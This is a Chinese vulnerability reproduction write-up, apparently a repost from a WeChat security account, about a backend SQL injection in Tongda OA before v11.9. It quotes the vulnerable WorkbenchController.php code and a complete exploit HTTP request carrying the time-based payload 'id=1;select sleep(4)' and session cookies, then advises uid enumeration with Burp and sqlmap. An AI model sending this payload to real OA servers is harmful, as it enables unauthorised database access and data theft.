一：漏洞描述🐑
通达OA v11.9 以下版本中由于某些参数过滤不完善导致后台存在SQL注入漏洞
二: 漏洞影响🐇
通达OA < v11.9
三: 漏洞复现🐋
https://cdndown.tongda2000.com/oa/2019/TDOA11.8.exe
双击安装
漏洞文件webroot/general/appbuilder/modules/portal/controllers/WorkbenchController.php
public function actionUpsharestatus(){ Yii::$app->response->format = yiiwebResponse::FORMAT_JSON; $data = modulesappdesignmodelsAppUtils::toGBK($_POST);
if (modulesportalcontrollersintval($data["uid"]) == $_SESSION["LOGIN_UID"]) { modulesportalmodelsPortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}"); } else if ($data["status"] == 1) { modulesportalmodelsPortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}")); } else { $Work = new modulesportalmodelsPortalWorkbenchState(); $Work->wids = $data["id"]; $Work->uid = $_SESSION["LOGIN_UID"]; $Work->save(); }
$dataBack = array("status" => 1, "msg" => modulesportalcontrollers_("操作成功")); $dataBack = modulesappdesignmodelsAppUtils::toUTF8($dataBack); return $dataBack; }
其中 updateAll() 函数并没有使用防止 SQL注入的 sql_injection() 来防止注入
webroot/inc/conn.php
所以这里就出现了 id 参数存在注入的情况，请求包如下POST /general/appbuilder/web/portal/workbench/upsharestatus HTTP/1.1Host: oa.tongda2000.comConnection: closeContent-Length: 36Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Origin: https://oa.tongda2000.comContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oa.tongda2000.com/general/appbuilder/web/portal/workbench/upsharestatusAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: __root_domain_v=.tongda2000.com; SID_12=5ea03399; USER_NAME_COOKIE=chenqiang; Hm_lvt_7cbefde9059536a2b96aaafc134d625c=1617014067,1617196083; _qddaz=QD.677915359373668; PHPSESSID=nso4iqhvp2qi464eoavk2fn0c0; OA_USER_ID=chenqiang; SID_15=ded66d80; LAST_OPERATION_TIME=1617242241x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1uid=15&status=1&id=1;select sleep(4)
注意 uid参数 要为当前用户的uid才能完成请求，可以使用 burp 遍历查看时间响应
例如这里使用官网的 测试账户 uid 遍历出为 15
注意：如果uid错误则不会出现时间延迟，将请求包放入 Sqlmap跑一下
这个漏洞源自于一条被删除的seebug公告，刚好有一位师傅截图了打码的原文，按照思路还原了漏洞
本文始发于微信公众号（PeiQi文库）：通达OA v11.9 WorkbenchController.php 后台SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论